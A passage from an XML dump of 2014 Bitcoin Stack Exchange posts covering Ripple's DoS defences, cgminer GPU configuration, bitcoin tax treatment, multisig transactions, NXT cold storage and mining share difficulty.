rel=&quot;nofollow&quot;&gt;transaction fees&lt;/a&gt; that are payable in XRP and which scale dynamically in response to various factors, including network load; and&lt;/li&gt;&#xA;&lt;li&gt;Imposing network-wide &lt;a href=&quot;https://ripple.com/currency/#xrp-reserves&quot; rel=&quot;nofollow&quot;&gt;'account' and 'action' reserves&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This means that someone seeking to attack the network in certain ways must, in essence, pay for the &quot;privilege&quot; of doing so and they harder they attack, they more they must pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this helpful? Generally those who are orchestrating a (D)DoS attack don't really have to pay and their costs are minimal, making the attack not only  cheap to launch but cheap to maintain as well. This is a huge advantage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By imposing fees, which, for regular users are negligible, Ripple servers and the network take that advantage away: they &quot;prevent&quot; (D)DoS attempts because the cost of launching and sustaining an attack against Ripple quickly adds up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few other mechanisms which Ripple servers implement to protect against and mitigate the effects of (D)DoS attack. Combined, all these things work pretty well, but the bottom line is that we have come full circle to what I said earlier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A system that is connected to the Internet and is offering a service cannot just magically prevent bad people from connecting to it, nor can it choose to accept only &quot;good&quot; traffic while avoiding receiving &quot;bad&quot; traffic.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One other thing I didn't touch upon: Optimizing the Ripple server code to improve performance. This is something that we at &lt;a href=&quot;https://ripplelabs.com/&quot; rel=&quot;nofollow&quot;&gt;Ripple Labs&lt;/a&gt; spend a lot of time on and we still have things we want to do and ideas we want to implement. We also hope that the vibrant community of talented open-source developers will take a look and contribute their many great ideas as well.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-04-11T21:31:28.613" LastActivityDate="2014-04-11T21:31:28.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24511" PostTypeId="2" ParentId="24221" CreationDate="2014-04-11T21:41:46.337" Score="2" Body="&lt;p&gt;Have you guys see this recent GitHub? I too have been poking around looking for a standalone library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/TangibleCryptography/BitSharper&quot; rel=&quot;nofollow&quot;&gt;https://github.com/TangibleCryptography/BitSharper&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have it downloaded, just trying to fix dependencies so I can compile.&#xA;Looks promising. &lt;/p&gt;&#xA;" OwnerUserId="15191" LastActivityDate="2014-04-11T21:41:46.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24512" PostTypeId="2" ParentId="24127" CreationDate="2014-04-11T22:45:12.280" Score="1" Body="&lt;p&gt;The analysis is the same as for other property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need to report income that is &lt;a href=&quot;http://www.irs.gov/Individuals/International-Taxpayers/Taxation-of-Nonresident-Aliens&quot; rel=&quot;nofollow&quot;&gt;effectively connected to the US or that is fixed, determinable, annual, or periodic (FDAP)&lt;/a&gt;.  So while you would need to report a US-sourced scholarship grant or wages from working in the US, you do not need to report a foreign transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transaction was a foreign person abroad (your husband) buying and then selling from foreign people, and the property was not located in the US (this is mostly about real estate), then you should be quite safe not reporting it.  The fact that he sold it for USD does not make it reportable or taxable in the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please review &lt;a href=&quot;http://www.irs.gov/pub/irs-pdf/p54.pdf&quot; rel=&quot;nofollow&quot;&gt;Publication 54&lt;/a&gt; if you have further questions.&lt;/p&gt;&#xA;" OwnerUserId="15192" LastActivityDate="2014-04-11T22:45:12.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24513" PostTypeId="2" ParentId="20162" CreationDate="2014-04-11T23:09:24.423" Score="1" Body="&lt;p&gt;Commodities exchange, yes.  Stock exchange, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stocks are securities, so it wouldn't be appropriate to trade bitcoin on a stock exchange because they don't have any relation to the assets or liabilities of an underlying company.  Bitcoins are valuable (or not) only intrinsically.  This is closer to a commodities exchange, which is what &lt;a href=&quot;http://www.coindesk.com/bitcoin-commodity-exchange-cex-io-imposes-trading-fee-prepares-add-usd/&quot; rel=&quot;nofollow&quot;&gt;CEX.io&lt;/a&gt; does and previously Mt. Gox did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is equivalent to trading gold, wheat, pork bellies, platinum, and so forth.  People on a commodities exchange can buy and sell options and forwards.  Which is economically a perfectly appropriate thing to do for an asset like Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of right now, the legal situation is still confusing to the government, but &lt;a href=&quot;http://blog.bitcointitan.com/post/17789738826/what-u-s-regulations-apply-to-bitcoins-as-commodities&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; argues that the CFTC does not regulate bitcoin trading even though it's a commodity.  &lt;a href=&quot;http://fincen.gov/statutes_regs/guidance/html/FIN-2013-G001.html&quot; rel=&quot;nofollow&quot;&gt;FinCEN&lt;/a&gt; thinks that people who sell BTC for USD will presumptively have to register.  You will have to work out for yourself what rules might apply to BTC traders, if any.  I cannot provide much help on this front.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a general tax rule, you need to observe &lt;a href=&quot;http://www.irs.gov/pub/irs-drop/n-14-21.pdf?utm_source=3.31.2014%20Tax%20Alert&amp;amp;utm_campaign=3.31.14%20Tax%20Alert&amp;amp;utm_medium=email&quot; rel=&quot;nofollow&quot;&gt;Notice 2014-21&lt;/a&gt; treating BTC as non-currency property and will have to report your transactions.  If you are buying and selling as a business, rather than holding BTC for anticipated appreciation, then you will need to file Schedule C and maybe create a business entity.  If your money comes from appreciation and long investment, then you are an &lt;strong&gt;investor&lt;/strong&gt; and can make use of capital gains treatment.  If your money comes from quick trades and the short swings of the market, then you are a &lt;strong&gt;trader&lt;/strong&gt; and if your money comes from charging other people fees to make their trades for them, then you are a &lt;strong&gt;dealer&lt;/strong&gt; - either of which is a business that must be taxed at the less preferential ordinary income rate.  Remember to ignore any tax reporting on &quot;currency gain&quot; or loss from BTC, since the IRS says bitcoins are not currency (but if you trade in other currencies, that's a different issue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selling bitcoins is taxed like buying and selling other property.  It will be taxable accordingly as a basic IRC &lt;a href=&quot;http://www.law.cornell.edu/uscode/text/26/1001&quot; rel=&quot;nofollow&quot;&gt;§1001&lt;/a&gt; transaction, where [gain] = [amount realized] - [cost basis].&lt;/p&gt;&#xA;" OwnerUserId="15192" LastActivityDate="2014-04-11T23:09:24.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24514" PostTypeId="1" AcceptedAnswerId="24523" CreationDate="2014-04-12T00:18:32.957" Score="0" ViewCount="8566" Body="&lt;p&gt;I have a rig with two GPU's set up in it.  Both are ASUS and one is a R9 280x and the other is a HD 7790.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both appear when I run the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo aticonfig --lsa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;GPU 0:  This is the HD 7790&#xA;GPU 1:  This is the R9 280x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run the cgminer both GPU's appear and both are enabled but only the R9 280x is mining.  The temperature doesn't appear for either of the GPU's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running ubuntu 13.10 headless so I can't run two different cgminer scripts instances in two separate terminal windows as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My full cgminer command is as fillows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;./cgminer --scrypt -o stratum+tcp://my.pool.ip:xxxx -u myusername -p mypassword -I 19 -g 1 -w 256 --thread-concurrency 15232&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And as mentioned this only mines on the R9 280x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get both GPU's to mine at the same time?&lt;/p&gt;&#xA;" OwnerUserId="15194" LastEditorUserId="15194" LastEditDate="2014-04-12T11:14:25.743" LastActivityDate="2014-04-16T01:20:07.770" Title="Two GPU's But Only One Will Mine In cgminer" Tags="|cgminer|gpu|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24515" PostTypeId="2" ParentId="19140" CreationDate="2014-04-12T02:11:28.970" Score="1" Body="&lt;p&gt;You can pass commands to the qt in command prompt &lt;code&gt;/path/to/dogecoin-qt &amp;lt;command&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or the qt debug console (help&gt;debug, then the console tab), &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To encrypt your wallet pass the command &lt;code&gt;encryptwallet &amp;lt;passphrase&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will close the client, once you open it again you will have to enter your password before being able to send a transaction or sign a message.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-04-12T02:11:28.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24516" PostTypeId="1" AcceptedAnswerId="24633" CreationDate="2014-04-12T02:17:22.067" Score="1" ViewCount="286" Body="&lt;p&gt;I've been attempting to do transactions to and from a multisig address for a couple of days, but I'm finding that my default account &quot;&quot; keeps paying for things, even though I'm explicitly saying other accounts should pay for things via the txid field in createrawtransaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick example, if I create a transaction like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind createrawtransaction [{\&quot;txid\&quot;:\&quot;504aa16418fbb871d307249448bcecdaa5699872a4d22b84d170ae64a2fe89ca\&quot;,\&quot;vout\&quot;:0}], {\&quot;2NASaVRks1dFupX1e6y3SK8BomjhvSv7xGh\&quot;:50}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(It's formatted this way because I'm running this in a windows command prompt at the moment, hope to be able to run linux soon!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the account associated to the address in the transaction's vout where n=0 is &quot;test&quot;, but after I sign and send this raw transaction and check listaccounts, &quot;&quot; is debited 50 instead of &quot;test&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps at all, 2NASaVRks1dFupX1e6y3SK8BomjhvSv7xGh is a 2 of 3 address of which &quot;test&quot; is a part of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong, or is this just how bitcoind handles situations where all of the addresses in a (multisig) transaction are associated with accounts in my wallet? And if so, why??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also all being done in regtest mode, but I wouldn't expect bitcoind to handle transactions differently in that mode.&lt;/p&gt;&#xA;" OwnerUserId="15196" LastActivityDate="2014-04-15T22:50:51.187" Title="Bitcoind, Multisig, and the default account &quot;&quot;" Tags="|bitcoind|raw-transaction|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24517" PostTypeId="1" AcceptedAnswerId="24525" CreationDate="2014-04-12T03:01:56.080" Score="5" ViewCount="311" Body="&lt;p&gt;BTC &lt;a href=&quot;https://bitcoinarmory.com/about/using-our-wallet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;has capability&lt;/a&gt; to create new account on offline computer and send some coins to and from that account without ever going online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sending coins to that account is trivial.&#xA;Sending from that account is done by generating transaction on offline computer, saving it on flash drive or CD, inserting that media into online computer and feeding transaction to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way I can keep large chunk of my coins on my offline computer without worrying about keyloggers. Even if they got there during installation they won't be able to send anything because it's offline. The only thing they can do is corrupt my data, which is solved by backing keys up on another flash drive or CD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;a href=&quot;https://nextcoin.org/index.php?topic=1112.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;such possibility&lt;/a&gt; exist in &lt;a href=&quot;https://bitcointalk.org/index.php?topic=303898.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;NXT&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike BTC, new NXT account &lt;a href=&quot;https://bitcoin.stackexchange.com/a/24216/14400&quot;&gt;has to send at least one outgoing transaction&lt;/a&gt; to become fully initialized by the network, otherwise &lt;a href=&quot;https://bitcointalk.org/index.php?topic=366105.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;collisions may spoil it&lt;/a&gt;. Sending money to that account &lt;a href=&quot;https://nextcoin.org/index.php/topic,3973.msg37591.html#msg37591&quot; rel=&quot;nofollow noreferrer&quot;&gt;is not sufficient for initialization&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I generate and save and feed transaction in NXT like in BTC ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not then how am I supposed to initialize my offline NXT account without giving my password to online computer that may have keyloggers, viruses, NSA bots and whatever else runs on it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to initialize NXT account with authorization token generated offline ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to send money or message or buy alias or participate in distributed exchange using authorization token or some other way generated offline ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does NXT have that feature in it's plans ?&lt;/p&gt;&#xA;" OwnerUserId="14400" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-04-12T11:02:13.003" Title="Is it possible to have complete cold storage in NXT?" Tags="|armory|offline|passphrase|coldstorage|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24519" PostTypeId="2" ParentId="24507" CreationDate="2014-04-12T04:15:57.220" Score="0" Body="&lt;p&gt;To confirm the ownership of bitcoins, one &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3898/how-does-sign-message-work&quot;&gt;must create a message signed by the private key&lt;/a&gt; of the Bitcoin address, with a message in context. If the message is unique enough, such as a full sentence or paragraph that is relevant and Mt. Gox acknowledges it  publicly through their website or other means, one can sufficiently conclude that they do have private keys to an address they signed with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None such such message exists for the &quot;finding&quot;, nor have they publicly admitted to ownership. All claims of &quot;finding&quot; is pure speculation.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-04-12T04:15:57.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24520" PostTypeId="1" AcceptedAnswerId="24522" CreationDate="2014-04-12T04:53:13.513" Score="1" ViewCount="1275" Body="&lt;p&gt;Does anybody know a place to get the source code of the Bitcoin Peer to Peer network? I only need the P2P network portion of the Bitcoin protocol. I am going to implement a new virtual currency. So i am going to reuse the existing bitcoin peer to peer network infrastructure for my project. Can someone advise me on this?&lt;/p&gt;&#xA;" OwnerUserId="14928" LastActivityDate="2014-04-12T06:26:41.653" Title="Bitcoin peer to peer network source code" Tags="|development|peers|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24522" PostTypeId="2" ParentId="24520" CreationDate="2014-04-12T06:26:41.653" Score="2" Body="&lt;p&gt;The source code for Bitcoin can be found at &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin&lt;/a&gt;. The P2P part is integrated within the core Bitcoin code, and is not available separately.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-04-12T06:26:41.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24523" PostTypeId="2" ParentId="24514" CreationDate="2014-04-12T07:24:28.750" Score="2" Body="&lt;p&gt;Have you tried the command -d 0,1, then setting your Thread Concurrency and Looup-gap and worksize for each device accordingly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to tell CGMiner you have two GPUs and set the thread concurrency for them. For this, try a command like this: ./cgminer --scrypt -o stratum+tcp://my.pool.ip:xxxx -u myusername -p mypassword -d 0,1 -I 18,19 -g 1 -w 256 --thread-concurrency 8000,15232 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must specify values for both cards or it will try to use the same thread concurrency on both cards, which most likely was causing the 7790 to fail. I am unsure how to run more instances of CGMiner for multiple cards that wont cause conflicts and crash video cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said that your 7790 is GPU 0, that's why I put the TC 8000,15232 (TC for 7790 first, then TC for R9). I also told it to start GPU 0 at intensity 18, as the Radeon 7000 series seems to run better at 18 than 19 in my experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those TC settings don't work, try 8000,8192 perhaps and lowering intensity on both to 18, or even 17 while you get them started. Then once they are mining it is good to start to fine tune.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I seem to remember that the SDK version that is suggested to use with R9s is not a version that works to mine with the Radeon 7000 series.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is almost working except cgminer is now telling me that Number of OpenCL and ADL devices did not match. Could you give an example of teh --gpu-map setting?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Another option to try the --gpu-map setting also to make sure the devices are seen properly, as there are sometimes issues with 2 video cards and one monitor and other weird scenarios.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that it would be better for me to give you a link to read about the setting, as it would provide more information and examples. I also get the same error for Number of OpenCL and ADL devices not matching but my devices still mine to their full potential. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link: github.com/luke-jr/bfgminer/blob/bfgminer/README.GPU and the information is about 2/3 down starting with the header, &quot;GPU DEVICE ISSUES and use of --gpu-map&quot;. An example of using the setting looks like this: &quot;--gpu-map 2:1,1:2&quot;, which doesn't mean much without context, so I highly recommend reading that link.&lt;/p&gt;&#xA;" OwnerUserId="11643" LastEditorUserId="11643" LastEditDate="2014-04-16T01:20:07.770" LastActivityDate="2014-04-16T01:20:07.770" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24524" PostTypeId="2" ParentId="22476" CreationDate="2014-04-12T07:54:32.620" Score="1" Body="&lt;p&gt;Along with starting a proxy to control which pool you mine at, you can force the proxy to control the username and password for each pool, allowing different worker names at different pools and mining towards BTC addresses, Dwolla accounts, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, start the proxy using the -cu and -cp commands for the worker name and password, respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, using &quot;-cu worker1 -cp x&quot; will force any work through the proxy to submit it under the username worker1 pw x, even if cgminer or other mining program uses other names). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it helps to add the -nm option if your connection is poor or the pool is giving really low difficulty shares to fast miners. This can cause huge network lag from TONs of low diff shares being submitted. Just a problem I ran into on a pool giving me diff1 shares at 1.4TH, so thought I'd share the info if your moving around pools a lot.&lt;/p&gt;&#xA;" OwnerUserId="11643" LastEditorUserId="11643" LastEditDate="2014-04-12T07:59:37.853" LastActivityDate="2014-04-12T07:59:37.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24525" PostTypeId="2" ParentId="24517" CreationDate="2014-04-12T11:02:13.003" Score="5" Body="&lt;p&gt;I don't know if this is the recommended way, but I did this by using the Send Nxt API call on an offline computer, storing the transaction bytes, and broadcasting the transaction from an online computer by using the Broadcast Transaction API call.&lt;/p&gt;&#xA;" OwnerUserId="15203" LastActivityDate="2014-04-12T11:02:13.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24527" PostTypeId="2" ParentId="24192" CreationDate="2014-04-12T12:13:32.053" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How were transaction fees determined before the change and after the&#xA;  change? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The fees were determined on the person sending the bitcoin, or the client in many cases. One can send a tx with no fee, but it has lower priority to get included in a block. They are still determined the same way. The &quot;default&quot; method for determining the fee is generally 0.000055 BTC/1kB. Technically, the fees help determine the priority for a transaction to get included in a block. The formula is: priority = sum(input_value_in_base_units * input_age)/size_in_bytes, therefore, it is a function of a few variables.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does this change affect third-party software developers (who do&#xA;  not use Bitcoin-Qt wallet) - do they need to mimic this change? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The change needs to be implemented in wallet software that determines the transaction fee for the user (i.e. Multibit), or changed in a setting by the user (i.e. qt client).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does this change roll across the network? Do 51% of miners need to update to the new version before the change starts to be effective?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The change rolls across the network as the miners update their qt client to the version with the updated protocol rules, otherwise, they will mine and still play by the rules in the old client. This change doesn't necessarily require 51% of the network to adopt the new version for the lower tx fees to take effect. Theoretically only one miner would need the new version and solve a block with the client for the new tx fee rules to take effect for that block. If one uses the lower tx fees while few miners have updated their clients, the fee will be considered low, and probably would be lower than lots of current transactions, so would be placed further down in the queue. If the update is done by a few major pools, the change would be effective, although using the new tx fee might cause a slight delay if a block is solved by a miner with old client and the block is full of transactions with higher priority.&lt;/p&gt;&#xA;" OwnerUserId="11643" LastActivityDate="2014-04-12T12:13:32.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24528" PostTypeId="2" ParentId="23483" CreationDate="2014-04-12T12:31:13.753" Score="2" Body="&lt;p&gt;Coinbase allows BTC to become spendable after zero confirmations as long as they are in sync with the BTC blockchain, which they usually lag behind a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason Coinbase lags behind the bitcoin blockchain is because their internal node is generally lagging behind the blockchain about 2-4 blocks; sometimes less, sometimes much more. I don't know why, but I imagine it helps reduce fraud with instant buys and maybe the system they use to sync their services with the blockchain gets bogged down under heavy loads..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinbase does have a network page (&lt;a href=&quot;https://coinbase.com/network&quot; rel=&quot;nofollow&quot;&gt;https://coinbase.com/network&lt;/a&gt;) that allows one to check the status of the last block seen on their side. Therefore, if it shows &quot;Last block created 57 minutes ago,&quot; one can safely assume they are about 5-6 blocks behind the btc blockchain and will take some time to catch up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be quite annoying and cause a purchase to be delayed or cancelled, but by watching the network page, one can make more informed decisions about when to send.&lt;/p&gt;&#xA;" OwnerUserId="11643" LastActivityDate="2014-04-12T12:31:13.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24529" PostTypeId="2" ParentId="24153" CreationDate="2014-04-12T12:46:04.880" Score="0" Body="&lt;p&gt;when make file use this:  &quot; OPENSSL_LIB_PATH=/usr/local/lib64 &quot; &#xA;make -f makefile.unix USE_UPNP=- BDB_LIB_PATH=/usr/local/lib OPENSSL_LIB_PATH=/usr/local/lib64&lt;/p&gt;&#xA;" OwnerUserId="15205" LastActivityDate="2014-04-12T12:46:04.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24530" PostTypeId="2" ParentId="17491" CreationDate="2014-04-12T13:10:44.140" Score="2" Body="&lt;p&gt;The share difficulty submitted will not theoretically make you mine faster or slower although you will see higher variability in displayed hash-rate (since it's calculated based on diff1 shares submitted) with higher difficulty shares. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payout should* be the same over time if you mine at 16 difficulty or 1024 with that card. Diff1 share just means one share at difficulty 1, and is used to calculate stats for many functions. A share of difficulty is worth 16 diff1 shares, 32 = 32diff1, 1024=1024diff1 etc. On account of that, mining at 16 diff vs 1024 diff for 24 hours should, in theory, generate the same number of diff1 shares, making the payout equal. Of course with good luck, higher difficulty shares can lead to more (or less with bad luck) diff1 shares submitted, but over a long time it should be equal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*The reason you are getting 50KH/s and many low diff shares, yet getting 90KH/s with high diff shares is because the network is getting flooded (or program, computer, etc) from submitting so many low difficulty shares. It would be smart to watch the pool's website where you mine to see what it reports your mining speed as, and go with the highest hash-rate you can get, as shares submitted are only relevant when taken together with the share difficulty and time mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several Antminer S1s that hash at ~195GH/s, and if they are trying to mine at a pool that only allows for diff1 shares, all of my miners have significant problems and disconnect frequently, therefore, I set my difficulty high and it has seemed to improve my hash-rate, but simply due to the number of units running and only submitting diff128 shares; now I submit diff1024 and it seems more efficient than before. I also tested this multiple times over 24 hour test periods, but this could vary greatly on your conditions (internet connection, # of miners, pc controlling the miners (rasp pi running a proxy or miners REALLY helps with higher difficulty shares), and other such factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One helpful statistic that is shown in CGMiner and BFGMiner (not sure how to make much show on cudaminer..) is the WU, or workers utility, number. This number represents the number of diff1 shares submitted per minute (while the U, or Utility, number tells number of shares per minute at multiplied by current share difficulty). WU is a quick way to check for small improvements in your mining configuration. &lt;/p&gt;&#xA;" OwnerUserId="11643" LastActivityDate="2014-04-12T13:10:44.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24531" PostTypeId="2" ParentId="13224" CreationDate="2014-04-12T13:32:20.277" Score="1" Body="&lt;p&gt;There is also &lt;a href=&quot;http://tbtc.blockr.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockr.io Bitcoin TESTNET&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uJ3Ku.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12004" LastActivityDate="2014-04-12T13:32:20.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24533" PostTypeId="2" ParentId="24480" CreationDate="2014-04-12T15:35:03.917" Score="1" Body="&lt;p&gt;This sounds like a power problem to your erupters most likely. Can you show me the config file or the options you are enabling? In particular, the &lt;code&gt;-scan&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, you might verify you have a powered USB hub and try using a powered USB port if available; it only takes a little power to run them, but a little power to stop them. I also power my rasp pi through a wall charger also, rather than powering it from the usb hub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had much more success running BFGMiner with Erupters and Antminer U1 USB sticks with a Pi and usb hub to control (and using Minepeon on the rasp pi). The command to start BFGMiner and scan for erupters etc and create a log in case you do have problems is: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bfgminer –o [pool] –u [user] –p [password] –scan-serial erupter:all –icarus-options 115200:1:1 –icarus-timing 3.0=100 2&amp;gt;logfile.txt&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="11643" LastEditorUserId="5406" LastEditDate="2016-04-24T08:55:02.203" LastActivityDate="2016-04-24T08:55:02.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24534" PostTypeId="2" ParentId="23872" CreationDate="2014-04-12T15:46:47.000" Score="2" Body="&lt;p&gt;It appears that the worker with the more shares/utility is solving low difficulty pool shares, where the other 3 are probably mining at a more appropriate difficulty level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Utility is the measure of how many shares are submitted per minute (diff1*pool difficulty mining at). That suggests further that the unit is working on lower difficulty shares than the other workers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually on your pool website there will be a spot to change worker difficulty, and for those units, I would recommend 2 for the ICA and 8 for AMU, but you could always adjust according to your preference.&lt;/p&gt;&#xA;" OwnerUserId="11643" LastActivityDate="2014-04-12T15:46:47.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24537" PostTypeId="2" ParentId="24461" CreationDate="2014-04-12T16:56:43.843" Score="2" Body="&lt;p&gt;No. Most brainwallets (assuming a more conventional brainwallet like one from brainwallet.org and not a seed-based one) are made by passing a passphrase through one round of SHA256. ASICs are designed to do two rounds.&lt;/p&gt;&#xA;" OwnerUserId="15211" LastEditorUserId="15211" LastEditDate="2014-04-14T17:55:41.583" LastActivityDate="2014-04-14T17:55:41.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24542" PostTypeId="2" ParentId="24149" CreationDate="2014-04-12T19:30:36.210" Score="0" Body="&lt;p&gt;I think with the latest set of IRS rules, the best exchange would allow for autotracking and calculation of transactions and capital gains.  One can imagine at tax time have a push button system that autogenerates all the information needed by the IRS. I can image this could become a rather large document, but if a standard format and file could be generated, then it would be a selling point for the exchange.  &lt;/p&gt;&#xA;" OwnerUserId="15216" LastActivityDate="2014-04-12T19:30:36.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
